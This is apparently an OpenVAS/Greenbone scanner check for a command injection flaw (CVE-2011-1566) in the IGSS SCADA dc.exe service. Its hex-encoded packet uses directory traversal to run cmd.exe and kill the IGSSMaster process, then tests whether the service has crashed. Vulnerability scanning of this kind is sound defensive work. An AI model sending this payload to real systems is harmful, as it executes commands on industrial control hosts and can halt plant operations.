7T Interactive Graphical SCADA System 'dc.exe' Command Injection Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804768");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2011-1566");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-09-25 16:14:02 +0530 (Thu, 25 Sep 2014)");

  script_name("7T Interactive Graphical SCADA System 'dc.exe' Command Injection Vulnerability");

  script_tag(name:"summary", value:"7T Interactive Graphical SCADA System is prone to a remote command execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via and check
  whether it is able to execute the command remotely.");

  script_tag(name:"insight", value:"Flaw is due to dc.exe not properly sanitizing
  user input, specifically directory traversal style attacks (e.g., ../../)
  supplied via the 0xa and 0x17 opcodes.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to traverse directory and execute arbitrary commands.");

  script_tag(name:"affected", value:"Interactive Graphical SCADA System
  dc.exe <= 9.00.00.11059");

  script_tag(name:"solution", value:"Upgrade to version 9.00.00.11083 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17024");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/29129");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/igss_8-adv.txt");
  script_xref(name:"URL", value:"https://ics-cert.us-cert.gov/alerts/ICS-ALERT-11-080-03");

  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(12397);
  exit(0);
}

igssPort = 12397;

if(!get_port_state(igssPort)){
  exit(0);
}

soc = open_sock_tcp(igssPort);
if(!soc){
  exit(0);
}

req = raw_string(
    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x2e, 0x2e, 0x5c, 0x2e,
    0x2e, 0x5c, 0x2e, 0x2e, 0x5c, 0x2e, 0x2e, 0x5c,
    0x2e, 0x2e, 0x5c, 0x2e, 0x2e, 0x5c, 0x2e, 0x2e,
    0x5c, 0x2e, 0x2e, 0x5c, 0x2e, 0x2e, 0x5c, 0x2e,
    0x2e, 0x5c, 0x2e, 0x2e, 0x5c, 0x2e, 0x2e, 0x5c,
    0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x5c,
    0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x33, 0x32,
    0x5c, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65,
    0x22, 0x20, 0x2f, 0x63, 0x20, 0x74, 0x61, 0x73,
    0x6b, 0x6b, 0x69, 0x6c, 0x6c, 0x20, 0x2f, 0x49,
    0x4d, 0x20, 0x49, 0x47, 0x53, 0x53, 0x4d, 0x61,
    0x73, 0x74, 0x65, 0x72, 0x2e, 0x65, 0x78, 0x65,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);

send(socket:soc, data:req);
res = recv(socket:soc, length:1024);
close(soc);

sleep(3);

if(!open_sock_tcp(igssPort))
{
  security_message(port:igssPort);
  exit(0);
}